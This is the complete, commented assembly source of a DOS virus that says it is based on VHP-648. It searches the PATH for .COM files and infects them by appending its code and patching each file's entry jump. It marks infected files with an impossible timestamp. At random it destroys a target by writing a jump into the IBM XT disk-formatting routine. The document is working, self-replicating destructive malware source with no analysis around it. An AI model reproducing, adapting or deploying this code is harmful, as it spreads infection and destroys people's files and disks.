name	Virus
	title	Virus; based on the famous VHP-648 virus
	.radix	16
code	segment
	assume	cs:code,ds:code
	org	100
environ equ	2C

start:
	jmp	virus
	int	20

data	label	byte		;Data section
dtaaddr dd	?		;Disk Transfer Address
ftime	dw	?		;File date
fdate	dw	?		;File time
fattrib dw	?		;File attribute
saveins db	3 dup (90)	;Original first 3 bytes
newjmp	db	0E9		;Code of jmp instruction
codeptr dw	?		;Here is formed a jump to virus code
allcom	db	'*.COM',0       ;Filespec to search for
poffs	dw	?		;Address of 'PATH' string
eqoffs	dw	?		;Address of '=' sign
pathstr db	'PATH='
fname	db	40 dup (' ')    ;Path name to search for

;Disk Transfer Address for Find First / Find Next:

mydta	label	byte
drive	db	?		;Drive to search for
pattern db	13d dup (?)	;Search pattern
reserve db	7 dup (?)	;Not used
attrib	db	?		;File attribute
time	dw	?		;File time
date	dw	?		;File date
fsize	dd	?		;File size
namez	db	13d dup (?)	;File name found

;This replaces the first instruction of a destroyed file.
;It's a jmp instruction into the hard disk formatting program (IBM XT only):

bad_jmp db	0EA,0,0,0,0C8
errhnd	dd	?

virus:
	push	cx		;Save CX

	mov	dx,offset data	;Restore original first instruction
modify	equ	$-2		;The instruction above is changed
				; before each contamination
	cld
	mov	si,dx
	add	si,saveins-data ;Instruction saved there
	mov	di,offset start
	mov	cx,3		;Move 3 bytes
	rep	movsb		;Do it
	mov	si,dx		;Keep SI pointed at data

	mov	ah,30		;Get DOS version
	int	21
	cmp	al,0		;Less than 2.0?
	jne	skip1
	jmp	exit		;Exit if so

skip1:
	push	es		;Save ES
	mov	ah,2F		;Get current DTA in ES:BX
	int	21
	mov	[si+dtaaddr-data],bx	;Save it in dtaaddr
	mov	[si+dtaaddr+2-data],es

	mov	ax,3524 	;Get interrupt 24h handler
	int	21		; and save it in errhnd
	mov	[si+errhnd-data],bx
	mov	[si+errhnd+2-data],es
	pop	es		;Restore ES

	mov	ax,2524 	;Set interrupt 24h handler
	mov	dx,si
	add	dx,handler-data
	int	21

	mov	dx,mydta-data
	add	dx,si
	mov	ah,1A		;Set DTA
	int	21

	push	es		;Save ES & SI
	push	si
	mov	es,ds:[environ] ;Environment address
	xor	di,di
n_00015A:			;Search 'PATH' in environment
	pop	si		;Restore data offset in SI
	push	si
	add	si,pathstr-data
	lodsb
	mov	cx,8000 	;Maximum 32K in environment
	repne	scasb		;Search for first letter ('P')
	mov	cx,4		;4 letters in 'PATH'
n_000169:
	lodsb			;Search for next char
	scasb
	jne	n_00015A	;If not found, search for next 'P'
	loop	n_000169	;Loop until done
	pop	si		;Restore SI & ES
	pop	es

	mov	[si+poffs-data],di	;Save 'PATH' offset in poffs
	mov	bx,si		;Point BX at data area
	add	si,fname-data	;Point SI & DI at fname
	mov	di,si
	jmp	short n_0001BF

n_000185:
	cmp	word ptr [si+poffs-data],6C
	jne	n_00018F
	jmp	olddta
n_00018F:
	push	ds
	push	si
	mov	ds,es:[environ]
	mov	di,si
	mov	si,es:[di+poffs-data]
	add	di,fname-data
n_0001A1:
	lodsb
	cmp	al,';'
	je	n_0001B0
	cmp	al,0
	je	n_0001AD
	stosb
	jmp	n_0001A1
n_0001AD:
	xor	si,si
n_0001B0:
	pop	bx
	pop	ds
	mov	[bx+poffs-data],si
	cmp	byte ptr [di-1],'\'
	je	n_0001BF
	mov	al,'\'          ;Add '\' if not already present
	stosb

n_0001BF:
	mov	[bx+eqoffs-data],di	;Save '=' offset in eqoffs
	mov	si,bx		;Restore data pointer in SI
	add	si,allcom-data
	mov	cl,6		;6 bytes in ASCIIZ '*.COM'
	rep	movsb		;Move '*.COM' at fname
	mov	si,bx		;Restore SI

	mov	ah,4E		;Find first file
	mov	dx,fname-data
	add	dx,si
	mov	cl,11b		;Hidden, Read/Only or Normal files
	int	21
	jmp	short n_0001E3

findnext:
	mov	ah,4F		;Find next file
	int	21
n_0001E3:
	jnc	n_0001E7	;If found, try to contaminate it
	jmp	n_000185	;Otherwise search in another directory

n_0001E7:
	mov	ax,[si+time-data]	;Check file time
	and	al,11111b	; (the seconds, more exactly)
	cmp	al,62d/2	;Are they 62?

;If so, file is already contains the virus, search for another:

	je	findnext

;Is file size greather than 64,000 bytes?

	cmp	[si+fsize-data],64000d
	ja	findnext	;If so, search for next file

;Is file size less than 10 bytes?

	cmp	word ptr [si+fsize-data],10d
	jb	findnext	;If so, search for next file

	mov	di,[si+eqoffs-data]
	push	si		;Save SI
	add	si,namez-data	;Point SI at namez
n_000209:
	lodsb
	stosb
	cmp	al,0
	jne	n_000209

	pop	si		;Restore SI
	mov	ax,4300 	;Get file attributes
	mov	dx,fname-data
	add	dx,si
	int	21

	mov	[si+fattrib-data],cx	;Save them in fattrib
	mov	ax,4301 	;Set file attributes
	and	cl,not 1	;Turn off Read Only flag
	int	21

	mov	ax,3D02 	;Open file with Read/Write access
	int	21
	jnc	n_00023E
	jmp	oldattr 	;Exit on error

n_00023E:
	mov	bx,ax		;Save file handle in BX
	mov	ax,5700 	;Get file date & time
	int	21
	mov	[si+ftime-data],cx	;Save time in ftime
	mov	[si+fdate-data],dx	;Save date in fdate

	mov	ah,2C		;Get system time
	int	21
	and	dh,111b 	;Are seconds a multiple of 8?
	jnz	n_000266	;If not, contaminate file (don't destroy):

;Destroy file by rewriting an illegal jmp as first instruction:

	mov	ah,40		;Write to file handle
	mov	cx,5		;Write 5 bytes
	mov	dx,si
	add	dx,bad_jmp-data ;Write THESE bytes
	int	21		;Do it
	jmp	short oldtime	;Exit

;Try to contaminate file:

;Read first instruction of the file (first 3 bytes) and save it in saveins:

n_000266:
	mov	ah,3F		;Read from file handle
	mov	cx,3		;Read 3 bytes
	mov	dx,saveins-data ;Put them there
	add	dx,si
	int	21
	jc	oldtime 	;Exit on error
	cmp	ax,3		;Are really 3 bytes read?
	jne	oldtime 	;Exit if not

;Move file pointer to end of file:

	mov	ax,4202 	;LSEEK from end of file
	xor	cx,cx		;0 bytes from end
	xor	dx,dx
	int	21
	jc	oldtime 	;Exit on error

	mov	cx,ax		;Get the value of file pointer (file size)
	add	ax,virus-data-3 ;Add virus data length to get code offset
	mov	[si+codeptr-data],ax	;Save result in codeptr
	inc	ch		;Add 100h to CX
	mov	di,si
	add	di,modify-data	;A little self-modification
	mov	[di],cx

	mov	ah,40		;Write to file handle
	mov	cx,endcode-data ;Virus code length as bytes to be written
	mov	dx,si		;Write from data to endcode
	int	21
	jc	oldtime 	;Exit on error
	cmp	ax,endcode-data ;Are all bytes written?
	jne	oldtime 	;Exit if not

	mov	ax,4200 	;LSEEK from the beginning of the file
	xor	cx,cx		;Just at the file beginning
	xor	dx,dx
	int	21
	jc	oldtime 	;Exit on error

;Rewrite the first instruction of the file with a jump to the virus code:

	mov	ah,40		;Write to file handle
	mov	cl,3		;3 bytes to write
	mov	dx,si
	add	dx,newjmp-data	;Write THESE bytes
	int	21

oldtime:
	mov	dx,[si+fdate-data]	;Restore file date
	mov	cx,[si+ftime-data]	; and time
	and	cl,not 11111b
	or	cl,11111b	;Set seconds to 62 (?!)

	mov	ax,5701 	;Set file date & time
	int	21
	mov	ah,3E		;Close file handle
	int	21

oldattr:
	mov	ax,4301 	;Set file attributes
	mov	cx,[si+fattrib-data]	;They were saved in fattrib
	mov	dx,fname-data
	add	dx,si
	int	21

olddta:
	push	ds		;Save DS
	mov	ah,1A		;Set DTA
	mov	dx,[si+dtaaddr-data]	;Restore saved DTA
	mov	ds,[si+dtaaddr+2-data]
	int	21

	mov	ax,2524 	;Set interrupt 24h handler
	mov	dx,[si+errhnd-data]	;Restore saved handler
	mov	ds,[si+errhnd+2-data]
	int	21
	pop	ds		;Restore DS

exit:
	pop	cx		;Restore CX
	xor	ax,ax		;Clear registers
	xor	bx,bx
	xor	dx,dx
	xor	si,si
	mov	di,100		;Jump to CS:100
	push	di		; by doing funny RET
	xor	di,di
	ret	-1

handler:			;Critical error handler
	mov	al,0		;Just ignore error
	iret			; and return
endcode label	byte

code	ends
	end	start